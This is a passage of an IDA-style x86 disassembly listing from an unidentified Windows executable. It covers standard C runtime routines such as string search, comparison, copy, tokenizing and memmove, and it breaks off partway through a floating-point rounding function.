lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41F69F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_4204D3
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41BE06 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p
; sub_401ACD+1EA0p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41BE61
xor eax, eax
jmp short loc_41BE63
; ---------------------------------------------------------------------------
loc_41BE61: ; CODE XREF: sub_41BE40+1Bj
mov eax, edi
loc_41BE63: ; CODE XREF: sub_41BE40+1Fj
cld
pop edi
leave
retn
sub_41BE40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p
; ___:0041DD1Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41BEA1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41BE9F
jz short loc_41BEA1
dec ecx
dec ecx
loc_41BE9F: ; CODE XREF: sub_41BE70+29j
not ecx
loc_41BEA1: ; CODE XREF: sub_41BE70+9j
; sub_41BE70+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41BE70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp
; sub_401ACD+2FFCp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41BF21
sub_41BEB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p
; sub_401ACD+75FEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41BEDC
loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BF0F
test ecx, 3
jnz short loc_41BECD
loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj
; sub_41BEC0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41BEDC
mov eax, [ecx-4]
test al, al
jz short loc_41BF1E
test ah, ah
jz short loc_41BF19
test eax, 0FF0000h
jz short loc_41BF14
test eax, 0FF000000h
jz short loc_41BF0F
jmp short loc_41BEDC
; ---------------------------------------------------------------------------
loc_41BF0F: ; CODE XREF: sub_41BEC0+12j
; sub_41BEC0+4Bj
lea edi, [ecx-1]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF14: ; CODE XREF: sub_41BEC0+44j
lea edi, [ecx-2]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj
lea edi, [ecx-3]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF1E: ; CODE XREF: sub_41BEC0+39j
lea edi, [ecx-4]
loc_41BF21: ; CODE XREF: sub_41BEB0+5j
; sub_41BEC0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41BF46
loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41BF98
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41BF2D
jmp short loc_41BF46
; ---------------------------------------------------------------------------
loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej
; sub_41BEC0+B8j
mov [edi], edx
add edi, 4
loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj
; sub_41BEC0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41BF41
test dl, dl
jz short loc_41BF98
test dh, dh
jz short loc_41BF8F
test edx, 0FF0000h
jz short loc_41BF82
test edx, 0FF000000h
jz short loc_41BF7A
jmp short loc_41BF41
; ---------------------------------------------------------------------------
loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF82: ; CODE XREF: sub_41BEC0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF98: ; CODE XREF: sub_41BEC0+72j
; sub_41BEC0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41BEC0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41BFB0
loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41BFB0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p
; sub_401ACD+4C3p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41BFB6: ; CODE XREF: sub_41B900+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41BFDB
loc_41BFC8: ; CODE XREF: sub_41BFB0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41BFA0
test cl, cl
jz short loc_41C024
test edx, 3
jnz short loc_41BFC8
loc_41BFDB: ; CODE XREF: sub_41BFB0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41BFE6: ; CODE XREF: sub_41BFB0+61j
; sub_41BFB0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C028
and eax, 81010100h
jz short loc_41BFE6
and eax, 1010100h
jnz short loc_41C022
and esi, 80000000h
jnz short loc_41BFE6
loc_41C022: ; CODE XREF: sub_41BFB0+68j
; sub_41BFB0+81j ...
pop esi
pop edi
loc_41C024: ; CODE XREF: sub_41BFB0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C028: ; CODE XREF: sub_41BFB0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C065
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C05E
test ah, ah
jz short loc_41C022
shr eax, 10h
cmp al, bl
jz short loc_41C057
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C050
test ah, ah
jz short loc_41C022
jmp short loc_41BFE6
; ---------------------------------------------------------------------------
loc_41C050: ; CODE XREF: sub_41BFB0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C057: ; CODE XREF: sub_41BFB0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C05E: ; CODE XREF: sub_41BFB0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C065: ; CODE XREF: sub_41BFB0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41BFB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C0BC
loc_41C080: ; CODE XREF: sub_41C070+3Cj
; sub_41C070+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+3]
jnz short loc_41C0B4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C080
mov edi, edi
loc_41C0B0: ; CODE XREF: sub_41C070+18j
; sub_41C070+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0B4: ; CODE XREF: sub_41C070+14j
; sub_41C070+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0BC: ; CODE XREF: sub_41C070+Ej
test edx, 1
jz short loc_41C0D8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C0B4
inc ecx
or al, al
jz short loc_41C0B0
test edx, 2
jz short loc_41C080
loc_41C0D8: ; CODE XREF: sub_41C070+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
add ecx, 2
jmp short loc_41C080
sub_41C070 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41C10D: ; CODE XREF: sub_41C0F4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41C10D
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41C135
mov edx, dword_4DB2C4
loc_41C135: ; CODE XREF: sub_41C0F4+39j
; sub_41C0F4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41C155
test al, al
jz short loc_41C155
inc edx
jmp short loc_41C135
; ---------------------------------------------------------------------------
loc_41C155: ; CODE XREF: sub_41C0F4+58j
; sub_41C0F4+5Cj
mov ebx, edx
loc_41C157: ; CODE XREF: sub_41C0F4+81j
mov al, [edx]
test al, al
jz short loc_41C17B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41C177
inc edx
jmp short loc_41C157
; ---------------------------------------------------------------------------
loc_41C177: ; CODE XREF: sub_41C0F4+7Ej
and byte ptr [edx], 0
inc edx
loc_41C17B: ; CODE XREF: sub_41C0F4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DB2C4, edx
and eax, ebx
pop ebx
leave
retn
sub_41C0F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp
; sub_415220+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C1CE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C1DB
; ---------------------------------------------------------------------------
loc_41C1CE: ; CODE XREF: sub_41C190+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41C1DB: ; CODE XREF: sub_41C190+3Cj
mov eax, esi
pop esi
leave
retn
sub_41C190 endp
; =============== S U B R O U T I N E =======================================
sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p
; sub_40B64A+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41C294
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C20A
loc_41C1FB: ; CODE XREF: sub_41C1E0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41C23B
test edi, 3
jnz short loc_41C1FB
loc_41C20A: ; CODE XREF: sub_41C1E0+19j
; sub_41C1E0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C20A
mov eax, [edi-4]
test al, al
jz short loc_41C248
test ah, ah
jz short loc_41C243
test eax, 0FF0000h
jz short loc_41C23E
test eax, 0FF000000h
jnz short loc_41C20A
loc_41C23B: ; CODE XREF: sub_41C1E0+20j
dec edi
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C23E: ; CODE XREF: sub_41C1E0+52j
sub edi, 2
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C243: ; CODE XREF: sub_41C1E0+4Bj
sub edi, 3
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C248: ; CODE XREF: sub_41C1E0+47j
sub edi, 4
loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj
; sub_41C1E0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
jmp short loc_41C27C
; ---------------------------------------------------------------------------
loc_41C260: ; CODE XREF: sub_41C1E0+75j
; sub_41C1E0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41C29A
mov [edi], dl
inc edi
dec ecx
jz short loc_41C290
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej
; sub_41C1E0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41C290
loc_41C283: ; CODE XREF: sub_41C1E0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41C292
dec ecx
jnz short loc_41C283
loc_41C290: ; CODE XREF: sub_41C1E0+8Bj
; sub_41C1E0+A1j
mov [edi], cl
loc_41C292: ; CODE XREF: sub_41C1E0+ABj
pop ebx
pop esi
loc_41C294: ; CODE XREF: sub_41C1E0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C29A: ; CODE XREF: sub_41C1E0+85j
; sub_41C1E0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j
; sub_41C1E0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C27C
loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj
; sub_41C1E0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C2A4
test dl, dl
jz short loc_41C29A
test dh, dh
jz short loc_41C2F8
test edx, 0FF0000h
jz short loc_41C2E8
test edx, 0FF000000h
jnz short loc_41C2A4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C1E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p
; sub_40BFA3+3Bp ...
var_3A3BFFC0 = byte ptr -3A3BFFC0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41C330
cmp edi, eax
jb loc_41C4A8
loc_41C330: ; CODE XREF: sub_41C310+16j
test edi, 3
jnz short loc_41C34C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
loc_41C34C: ; CODE XREF: sub_41C310+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41C364
and eax, 3
add ecx, eax
jmp dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C364: ; CODE XREF: sub_41C310+46j
jmp dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C36C: ; CODE XREF: sub_41C310+31j
; sub_41C310+8Ej ...
jmp off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41C380
; ---------------------------------------------------------------------------
lodsb
retn
; ---------------------------------------------------------------------------
inc ecx
add al, dl
retn
; ---------------------------------------------------------------------------
dw 41h
; ---------------------------------------------------------------------------
loc_41C380: ; DATA XREF: sub_41C310+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr
dd offset loc_41C43C
dd offset loc_41C434
dd offset loc_41C42C
dd offset loc_41C424
dd offset loc_41C41C
dd offset loc_41C414
dd offset loc_41C40C
; ---------------------------------------------------------------------------
loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310:off_41C3ECo
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r
; sub_41C310+92r ...
dd offset loc_41C470
dd offset loc_41C47C
dd offset loc_41C490
; ---------------------------------------------------------------------------
loc_41C468: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C470: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C47C: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C490: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C4A8: ; CODE XREF: sub_41C310+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41C4DC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41C4D0: ; CODE XREF: sub_41C310+1B1j
; sub_41C310+208j ...
neg ecx
jmp dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C4DC: ; CODE XREF: sub_41C310+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41C4F4
and eax, 3
sub ecx, eax
jmp dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C4F4: ; CODE XREF: sub_41C310+1D6j
; DATA XREF: sub_41C310+1DDr
jmp off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
align 4
or ch, al
inc ecx
add [eax], ch
lds eax, [ecx+0]
push eax
lds eax, [ecx+0]
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
movsb
lds eax, [ecx+0]
lodsb
lds eax, [ecx+0]
mov ah, 0C5h
inc ecx
add [ebp+eax*8-3A3BFFBFh], bh
inc ecx
add ah, cl
lds eax, [ecx+0]
aam 0C5h
inc ecx
loc_41C59F: ; DATA XREF: sub_41C310+1C2r
add bh, ah
lds eax, [ecx+0]
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C5E7: ; CODE XREF: sub_41C310+1C2j
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r
; sub_41C310:loc_41C4F4r ...
dd offset loc_41C608
dd offset loc_41C618
dd offset loc_41C62C
; ---------------------------------------------------------------------------
loc_41C600: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C608: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C618: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C62C: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41C310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p
; ___:0040E29Fp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41AFE0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420510
add esp, 10h
leave
retn
sub_41C645 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C679(double)
sub_41C679 proc near ; CODE XREF: sub_40D030+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A290
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C6FF
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C6E2
cmp eax, 2
jle short loc_41C6D4
cmp eax, 3
jnz short loc_41C6E2
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6D4: ; CODE XREF: sub_41C679+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6E2: ; CODE XREF: sub_41C679+3Aj
; sub_41C679+44j
fld [ebp+arg_0]
fadd dbl_427718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41C73C
; ---------------------------------------------------------------------------
loc_41C6FF: ; CODE XREF: sub_41C679+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C722
loc_41C714: ; CODE XREF: sub_41C679+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C722: ; CODE XREF: sub_41C679+99j
test bl, 20h
jnz short loc_41C714
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
